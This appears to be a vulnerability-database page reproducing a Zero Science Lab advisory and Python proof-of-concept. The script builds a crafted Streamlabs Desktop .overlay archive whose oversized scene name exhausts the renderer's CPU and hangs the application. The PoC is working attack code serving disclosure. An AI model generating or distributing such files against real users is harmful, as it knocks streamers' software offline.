Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion

🗓️ 13 Nov 2025 00:00:00Reported by Gjoko KrsticType
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Streamlabs Desktop 1.19.6 vulnerability enables denial of service via crafted overlay files causing CPU exhaustion.
<html><body><p>#!/usr/bin/env python3
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# Logitech Streamlabs Desktop 1.19.6 (overlay) CPU Exhaustion
#
#
# Vendor: Logitech | General Workings, Inc.
# Product web page: https://www.logitech.com | https://www.streamlabs.com
# Affected version 1.19.6 (macOS/Win)
#
# Summary: Streamlabs Desktop is a free streaming and recording software,
# built on OBS Studio, for content creators to stream live to platforms
# like Twitch, YouTube, and Facebook. It is designed to be beginner-friendly
# and offers tools for creating engaging streams, such as customizable overlays,
# alerts for viewer interactions, and the ability to add guests to a stream. 
#
# Desc: A vulnerability exists in Streamlabs Desktop where importing a
# crafted .overlay file can cause uncontrolled CPU consumption, leading
# to a denial-of-service condition. The .overlay file is an archive
# containing a config.json configuration. By inserting an excessively
# large string into the name attribute of a scene object within config.json,
# the application's renderer process (Frameworks/Streamlabs Desktop Helper
# (Renderer).app) spikes to over 150% CPU and becomes unresponsive. This
# forces the victim to terminate the application manually, resulting in
# loss of availability. An attacker could exploit this by distributing
# malicious overlay files to disrupt streaming operations.
#
# ----------------------------------------------------------------------
# $ ps ucp 66595
# USER     PID  %CPU %MEM      VSZ    RSS   TT  STAT STARTED      TIME COMMAND
# lqwrm 66595 100.3  0.6 1596218784 221344   ??  R     2:15PM   1:32.11 Streamlabs Desktop Helper (Renderer)
# ----------------------------------------------------------------------
#
# Tested on: macOS Sequoia version 15.7.2, 15.7.1
#            Microsoft Windows 11 25H2
#            Microsfot Windows 10
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2025-5967
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5967.php
#
#
# 15.10.2025
#


import argparse
import json
import zipfile
from pathlib import Path

def build_config(name: str) -&gt; dict:
    return {
        "schemaVersion": 2,
        "nodeType": "RootNode",
        "scenes": {
            "schemaVersion": 2,
            "nodeType": "ScenesNode",
            "items": [
                {
                    "slots": {
                        "schemaVersion": 1,
                        "nodeType": "SlotsNode",
                        "items": []
                    },
                    "name": name,
                    "sceneId": "scene_8e59eea4-d0f1-424f-8837-1aacd707700c"
                }
            ]
        },
        "transition": {
            "schemaVersion": 1,
            "nodeType": "TransitionNode",
            "type": "cut_transition",
            "settings": {},
            "duration": 300
        },
        "nodeMap": {
            "schemaVersion": 1,
            "nodeType": "NodeMapNode"
        }
    }

def create_overlay(output_path: Path, name_length: int = 1000) -&gt; Path:
    scene_name = "A" * name_length
    config_dict = build_config(scene_name)
    config_bytes = json.dumps(config_dict, indent=2, ensure_ascii=False).encode("utf-8")

    output_path.parent.mkdir(parents=True, exist_ok=True)

    with zipfile.ZipFile(output_path, mode="w", compression=zipfile.ZIP_DEFLATED) as zf:
        zf.writestr("config.json", config_bytes)

    return output_path

def main():
    parser = argparse.ArgumentParser(description="Create a Streamlabs .overlay with a 1000 chars scene name.")
    parser.add_argument("-o", "--output", type=Path, default=Path("sample.overlay"),
                        help="Path to the output .overlay archive (default: sample.overlay)")
    parser.add_argument("-n", "--name-length", type=int, default=1000,
                        help="Number of bytes to use for the scene name (default: 1000)")

    args = parser.parse_args()

    out = create_overlay(args.output, name_length=args.name_length)
    print(f"Created overlay: {out.resolve()}")


if __name__ == "__main__":
    main()
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13 Nov 2025 00:00Current
5.8Medium risk
Vulners AI Score5.8